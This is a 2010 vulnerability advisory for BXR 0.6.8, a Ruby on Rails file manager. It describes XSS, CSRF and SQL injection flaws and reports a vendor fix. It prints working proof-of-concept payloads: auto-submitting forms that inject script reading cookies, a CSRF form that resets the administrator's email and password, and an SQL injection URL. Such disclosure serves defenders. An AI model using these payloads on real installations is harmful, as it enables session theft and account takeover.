Multiple Vulnerabilities in BXR
Advisory ID: | HTB22503 |
Product: | BXR |
Vendor: | Hulihan Applications |
Vulnerable Versions: | 0.6.8 and probably prior |
Tested Version: | 0.6.8 |
Advisory Publication: | July 22, 2010 [without technical details] |
Vendor Notification: | July 22, 2010 |
Public Disclosure: | August 5, 2010 |
Latest Update: | July 26, 2010 |
Vulnerability Type: | Cross-Site Scripting [CWE-79] Cross-Site Request Forgery [CWE-352] SQL Injection [CWE-89] |
CVE Reference: | CVE-2010-4963 |
Risk Level: | High |
| |
CVSSv2 Base Scores: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P) 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
Solution Status: | Fixed by Vendor |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BXR which could be exploited to perform cross-site scripting, cross-site request forgery and SQL injection attacks.
1) Cross-site scripting (XSS) vulnerability in BXR 1.1 The vulnerability exists due to input sanitation error in the "setting[site_title]" parameter in /settings/update_settings/. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation example: <form action="http://host/settings/update_settings" method="post" name="main" > <input type="hidden" name="setting[site_title]" value='BXR File Management System"><script>alert(document.cookie)</script>' /> <input type="hidden" name="setting[site_keywords]" value="BXR, Open Source File Management System" /> <input type="hidden" name="setting[site_description]" value="The Free, Open Source, Ruby on Rails File Management System." /> <input type="hidden" name="setting[let_users_change_default_folder]" value="0" /> <input type="hidden" name="setting[use_ferret]" value="0" /> <input type="hidden" name="setting[overwrite_existing_files]" value="0" /> <input type="hidden" name="commit" value="Update Settings" /> </form> <script> document.main.submit(); </script> 1.2 The vulnerability exists due to input sanitation error in the "search[query]" parameter in /search/show_results /. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation example: <form action="http://host/search/show_results" method="post" name="main" > <input type="hidden" name="search_type" value="filename" /> <input type="hidden" name="search[query]" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="commit" value="Find!" /> </form> <script> document.main.submit(); </script> 1.3 The vulnerability exists due to input sanitation error in the "tag_1" parameter in /file/do_the_upload/. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
2) Cross-site request forgery in BXR The vulnerability exists due to insufficient validation of the request origin in user/update/. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials. Exploitation example: <form action="http://host/user/update/1" method="post" name="main" > <input type="hidden" name="user[name]" value="admin" /> <input type="hidden" name="user[email]" value="myemail@example.com" /> <input type="hidden" name="user[password]" value="123" /> <input type="hidden" name="user[password_confirmation]" value="123" /> <input type="hidden" name="belongs_to_group[1]" value="yes" /> <input type="hidden" name="user[default_folder_id]" value="1" /> <input type="hidden" name="commit" value="Save" /> </form> <script> document.main.submit(); </script>
3) SQL injection vulnerability in BXR: CVE-2010-4963 The vulnerability exists due to input sanitation errors in the "order_by" parameter in /folder/list. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database. Exploitation example: http://host/folder/list?order_by=filesize'+SQL |
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Upgrade to the most recent version |
|
References: |
[1] High-Tech Bridge Advisory HTB22503 - https://www.immuniweb.com/advisory/HTB22503 - Multiple Vulnerabilities in BXR [2] BXR - hulihanapplications.com/projects/bxr – BXR is an open source file management system powered by Ruby on Rails. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.